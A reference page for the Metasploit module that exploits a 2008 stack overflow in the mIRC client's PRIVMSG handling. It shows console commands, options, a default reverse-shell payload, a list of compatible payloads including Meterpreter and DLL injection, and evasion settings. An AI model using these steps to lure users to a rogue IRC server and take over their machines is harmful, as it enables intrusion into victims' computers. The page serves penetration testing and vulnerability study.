mIRC PRIVMSG Handling Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/misc/mirc_privmsg_server metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: mIRC PRIVMSG Handling Stack Buffer Overflow
Module: exploit/windows/misc/mirc_privmsg_server
Source code: modules/exploits/windows/misc/mirc_privmsg_server.rb
Disclosure date: 2008-10-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2008-4449
This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier. By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads may be necessary. This module is based on the code by SkD.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/misc/mirc_privmsg_server
msf exploit(mirc_privmsg_server) > show targets
... a list of targets ...
msf exploit(mirc_privmsg_server) > set TARGET target-id
msf exploit(mirc_privmsg_server) > show options
... show and set options ...
msf exploit(mirc_privmsg_server) > exploit
Go back to menu.
Msfconsole Usage
Here is how the windows/misc/mirc_privmsg_server exploit module looks in the msfconsole:
msf6 > use exploit/windows/misc/mirc_privmsg_server
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/misc/mirc_privmsg_server) > show info
Name: mIRC PRIVMSG Handling Stack Buffer Overflow
Module: exploit/windows/misc/mirc_privmsg_server
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2008-10-02
Provided by:
aushack <[email protected]>
Available targets:
Id Name
-- ----
0 Windows XP SP3
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVNAME Internet Relay Network yes Welcome to the ... IRC Server Name
SRVPORT 6667 yes The IRC server port to listen on
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload information:
Space: 160
Avoid: 26 characters
Description:
This module exploits a buffer overflow in the mIRC IRC Client v6.34
and earlier. By enticing a mIRC user to connect to this server
module, an excessively long PRIVMSG command can be sent, overwriting
the stack. Due to size restrictions, ordinal payloads may be
necessary. This module is based on the code by SkD.
References:
https://nvd.nist.gov/vuln/detail/CVE-2008-4449
OSVDB (48752)
http://www.securityfocus.com/bid/31552
https://www.exploit-db.com/exploits/6666
Module Options
This is a complete list of options available in the windows/misc/mirc_privmsg_server exploit:
msf6 exploit(windows/misc/mirc_privmsg_server) > show options
Module options (exploit/windows/misc/mirc_privmsg_server):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVNAME Internet Relay Network yes Welcome to the ... IRC Server Name
SRVPORT 6667 yes The IRC server port to listen on
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows XP SP3
Advanced Options
Here is a complete list of advanced options supported by the windows/misc/mirc_privmsg_server exploit:
msf6 exploit(windows/misc/mirc_privmsg_server) > show advanced
Module advanced options (exploit/windows/misc/mirc_privmsg_server):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
DynamicSehRecord false no Generate a dynamic SEH record (more stealthy)
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/misc/mirc_privmsg_server module can exploit:
msf6 exploit(windows/misc/mirc_privmsg_server) > show targets
Exploit targets:
Id Name
-- ----
0 Windows XP SP3
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/misc/mirc_privmsg_server exploit:
msf6 exploit(windows/misc/mirc_privmsg_server) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
6 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
7 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
8 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
9 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
10 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
11 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
12 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
13 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
14 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
15 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
16 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
Evasion Options
Here is the full list of possible evasion options supported by the windows/misc/mirc_privmsg_server exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/misc/mirc_privmsg_server) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9189 Merged Pull Request: Change author name to nick.
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3348 Merged Pull Request: fixed some ruby warnings
- #3087 Merged Pull Request: Fix first chunk of msftidy "bad char" errors
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #542 Merged Pull Request: Update milw0rm references.
References
- CVE-2008-4449
- OSVDB (48752)
- BID-31552
- EDB-6666
See Also
Check also the following modules related to this module:
- exploit/windows/browser/mirc_irc_url
- exploit/aix/local/xorg_x11_server
- exploit/linux/http/rancher_server
- exploit/linux/misc/qnap_transcode_server
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/misc/java_jmx_server
- exploit/multi/misc/java_rmi_server
- exploit/windows/browser/yahoomessenger_server
- exploit/windows/ftp/xlink_server
- exploit/windows/misc/bigant_server
- exploit/windows/misc/hta_server
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/procyon_core_server
- exploit/windows/misc/actfax_raw_server_bof
- exploit/windows/misc/ais_esel_server_rce
- exploit/windows/misc/allmediaserver_bof
- exploit/windows/misc/bigant_server_250
- exploit/windows/misc/bigant_server_dupf_upload
- exploit/windows/misc/bigant_server_sch_dupf_bof
- exploit/windows/misc/bigant_server_usv
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
Authors
- aushack
Version
This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.